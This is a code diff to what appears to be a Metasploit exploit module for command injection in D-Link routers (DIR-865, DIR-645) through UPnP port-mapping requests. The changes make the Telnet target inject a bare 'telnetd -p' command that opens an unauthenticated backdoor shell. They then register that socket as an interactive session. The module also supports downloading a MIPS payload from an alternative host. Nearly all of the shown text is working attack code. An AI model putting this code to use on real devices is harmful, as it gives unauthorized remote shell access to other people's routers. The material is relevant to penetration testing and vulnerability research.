@@ -58,13 +58,13 @@ def initialize(info = {})
58
58
'Platform' => 'unix'
59
59
}
60
60
] ,
61
- [ 'Telnet' , #all devices
61
+ [ 'Telnet' , #all devices, use a netcat bind payload for getting a valid session
62
62
{
63
63
'Arch' => ARCH_CMD ,
64
64
'Platform' => 'unix'
65
65
}
66
66
] ,
67
- [ 'Linux mipsel Payload' , #DIR-865, DIR-645
67
+ [ 'Linux mipsel Payload' , #DIR-865, DIR-645, and some more
68
68
{
69
69
'Arch' => ARCH_MIPSLE ,
70
70
'Platform' => 'linux'
@@ -80,8 +80,8 @@ def initialize(info = {})
80
80
OptAddress . new ( 'DOWNHOST' , [ false , 'An alternative host to request the MIPS payload from' ] ) ,
81
81
OptString . new ( 'DOWNFILE' , [ false , 'Filename to download, (default: random)' ] ) ,
82
82
OptInt . new ( 'HTTP_DELAY' , [ true , 'Time that the HTTP Server will wait for the ELF payload request' , 60 ] ) ,
83
- OptString . new ( 'TELNETUSER' , [ false , 'User to start the telnet daemon (default: random)' ] ) ,
84
- OptString . new ( 'TELNETPASS' , [ false , 'User to start the telnet daemon (default: random)' ] )
83
+ # OptString.new('TELNETUSER', [false, 'User to start the telnet daemon (default: random)' ]),
84
+ # OptString.new('TELNETPASS', [false, 'User to start the telnet daemon (default: random)' ])
85
85
] , self . class )
86
86
end
87
87
@@ -144,6 +144,7 @@ def request(cmd, type, new_external_port, new_internal_port, new_portmapping_des
144
144
end
145
145
146
146
def exploit
147
+ handler
147
148
downfile = datastore [ 'DOWNFILE' ] || rand_text_alpha ( 8 +rand ( 8 ) )
148
149
149
150
new_portmapping_description = rand_text_alpha ( 8 )
@@ -170,15 +171,16 @@ def exploit
170
171
end
171
172
172
173
if target . name =~ /Telnet/
173
- passw = datastore [ 'TELNETPASS' ] || rand_text_alpha ( 8 )
174
- user = datastore [ 'TELNETUSER' ] || rand_text_alpha ( 4 )
174
+ # passw = datastore['TELNETPASS'] || rand_text_alpha(8)
175
+ # user = datastore['TELNETUSER'] || rand_text_alpha(4)
175
176
telnetport = rand ( 65535 )
176
177
177
- vprint_status ( "#{ rhost } :#{ rport } - User: #{ user } " )
178
- vprint_status ( "#{ rhost } :#{ rport } - Password: #{ passw } " )
178
+ # vprint_status("#{rhost}:#{rport} - User: #{user}")
179
+ # vprint_status("#{rhost}:#{rport} - Password: #{passw}")
179
180
vprint_status ( "#{ rhost } :#{ rport } - Telnetport: #{ telnetport } " )
180
181
181
- cmd = "telnetd -p #{ telnetport } -l \" /usr/sbin/login\" -u #{ user } :#{ passw } "
182
+ #cmd = "telnetd -p #{telnetport} -l \"/usr/sbin/login\" -u #{user}:#{passw}"
183
+ cmd = "telnetd -p #{ telnetport } " # -l \"/usr/sbin/login\" -u #{user}:#{passw}"
182
184
type = "add"
183
185
res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
184
186
if ( !res or res . code != 200 )
@@ -199,13 +201,13 @@ def exploit
199
201
print_error ( "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
200
202
end
201
203
202
- print_status "Attempting to start a Telnet session #{ rhost } :#{ telnetport } with #{ user } :#{ passw } "
204
+ print_status "Attempting to start a Telnet session #{ rhost } :#{ telnetport } " # with #{user}:#{passw}"
203
205
auth_info = {
204
206
:host => rhost ,
205
207
:port => telnetport ,
206
208
:sname => 'telnet' ,
207
- :user => user ,
208
- :pass => passw ,
209
+ # :user => user,
210
+ # :pass => passw,
209
211
:source_type => "exploit" ,
210
212
:active => true
211
213
}
@@ -214,13 +216,26 @@ def exploit
214
216
'USERPASS_FILE' => nil ,
215
217
'USER_FILE' => nil ,
216
218
'PASS_FILE' => nil ,
217
- 'USERNAME' => user ,
218
- 'PASSWORD' => passw
219
+ # 'USERNAME' => user,
220
+ # 'PASSWORD' => passw
219
221
}
220
- # NOT WORKING
221
- conn = Net ::SSH ::CommandStream . new ( sock , '/bin/sh' , true )
222
- #puts conn.methods.to_s
223
- start_session ( self , "TELNET #{ user } :#{ passw } (#{ rhost } :#{ telnetport } )" , merge_me , false , conn . lsock )
222
+ #taken from ./lib/msf/core/auxiliary/commandshell.rb
223
+ info = "TELNET (#{ rhost } :#{ telnetport } )"
224
+ sess = Msf ::Sessions ::CommandShell . new ( sock )
225
+ sess . set_from_exploit ( self )
226
+ sess . info = info
227
+
228
+ # Clean up the stored data
229
+ sess . exploit_datastore . merge! ( merge_me )
230
+
231
+ # Prevent the socket from being closed
232
+ self . sockets . delete ( sock )
233
+ self . sock = nil if self . respond_to? :sock
234
+
235
+ framework . sessions . register ( sess )
236
+ sess . process_autoruns ( datastore )
237
+
238
+ sess
224
239
rescue
225
240
print_error ( "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
226
241
end
0 commit comments